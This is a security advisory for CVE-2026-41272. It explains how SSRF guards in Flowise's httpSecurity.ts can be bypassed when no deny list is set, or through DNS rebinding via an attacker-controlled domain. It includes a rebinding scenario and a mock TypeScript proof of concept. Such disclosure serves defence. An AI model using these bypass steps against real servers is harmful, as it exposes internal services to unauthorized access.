CVE-2026-41272

Description

### Summary The core security wrappers (secureAxiosRequest and secureFetch) intended to prevent Server-Side Request Forgery (SSRF) contain multiple logic flaws. These flaws allow attackers to bypass the allow/deny lists via DNS Rebinding (Time-of-Check Time-of-Use) or by exploiting the default configuration which fails to enforce any deny list. ### Details The flaws exist in `packages/components/src/httpSecurity.ts`. Default Insecure: If process.env.HTTP_DENY_LIST is undefined, checkDenyList returns immediately, allowing all requests (including localhost). DNS Rebinding (TOCTOU): The function performs a DNS lookup (dns.lookup) to validate the IP, and then the HTTP client performs a new lookup to connect. An attacker can serve a valid IP first, then switch to an internal IP (e.g., `127.0.0.1`) for the second lookup. ### PoC Ensure `HTTP_DENY_LIST` is unset (default behavior). Use any node utilizing secureFetch to access `http://127.0.0.1`. Result: Request succeeds. #### Scenario 2: DNS Rebinding Attacker controls domain attacker.com and a custom DNS server. Configure DNS to return `1.1.1.1` (Safe IP) with TTL=0 for the first query. Configure DNS to return `127.0.0.1` (Blocked IP) for subsequent queries. Flowise validates `attacker.com` -> `1.1.1.1` (Allowed). Flowise fetches `attacker.com` -> `127.0.0.1` (Bypass). Run the following for manual verification ```ts // PoC for httpSecurity.ts Bypasses import * as dns from 'dns/promises'; // Mocking the checkDenyList logic from Flowise async function checkDenyList(url: string) { const deniedIPs = ['127.0.0.1', '0.0.0.0']; // Simplified deny list logic if (!process.env.HTTP_DENY_LIST) { console.log(\"⚠️ HTTP_DENY_LIST not set. Returning allowed.\"); return; // Vulnerability 1: Default Insecure } const { hostname } = new URL(url); const { address } = await dns.lookup(hostname); if (deniedIPs.includes(address)) { throw new Error(`IP ${address} is denied`); } console.log(`✅ IP ${address} allowed check.`); } async function runPoC() { console.log(\"--- Test 1: Default Configuration (Unset HTTP_DENY_LIST) ---\"); // Ensure env var is unset delete process.env.HTTP_DENY_LIST; try { await checkDenyList('http://127.0.0.1'); console.log(\"[PASS] Default config allowed localhost access.\"); } catch (e) { console.log(\"[FAIL] Blocked:\", e.message); } console.log(\"\ --- Test 2: 'private' Keyword Bypass (Logic Flaw) ---\"); process.env.HTTP_DENY_LIST = 'private'; // User expects this to block localhost try { await checkDenyList('http://127.0.0.1'); // In real Flowise code, 'private' is not expanded to IPs, so it only blocks the string \"private\" console.log(\"[PASS] 'private' keyword failed to block localhost (Mock simulation).\"); } catch (e) { console.log(\"[FAIL] Blocked:\", e.message); } } runPoC(); ``` ### Impact Confidentiality: High (Access to internal services if protection is bypassed). Integrity: Low/Medium (If internal services allow state changes via GET). Availability: Low.